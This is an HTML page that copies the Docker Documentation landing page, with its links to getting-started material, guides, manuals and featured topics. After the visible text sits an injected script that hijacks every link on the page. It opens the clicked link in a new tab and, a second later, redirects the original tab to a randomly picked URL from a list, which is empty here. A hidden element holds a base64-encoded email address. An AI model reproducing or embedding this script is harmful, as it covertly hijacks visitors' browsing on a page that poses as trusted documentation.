<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p># Docker Documentation


Docker Documentation helps you learn Docker, install Docker products, and find
reference material for everyday development and operations tasks.

## Browse docs by area

- [Get started](/get-started/): Learn Docker basics and core concepts.
- [Guides](/guides/): Follow task-focused walkthroughs for common workflows.
- [Manuals](/): Install, configure, and use Docker products.
- [Reference](/reference/): Browse CLI, API, and file format documentation.

## Featured topics

- [Docker Hardened Images](/dhi/)
- [Get started with Docker Sandboxes](/ai/sandboxes/get-started/)
- [Docker Desktop overview](/desktop/)
- [Install Docker Engine](/engine/install/)
- [Dockerfile reference](/reference/dockerfile/)
- [Docker Build overview](/build/)

## Common questions

- [How do I get started with Docker?](/get-started/docker-overview/)
- [Can I run my AI agent in a sandbox?](/ai/sandboxes/get-started/)
- [What is a container?](/get-started/docker-concepts/the-basics/what-is-a-container/)
- [What are Docker Hardened Images?](/dhi/)
- [Why should I use Docker Compose?](/compose/)

</p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
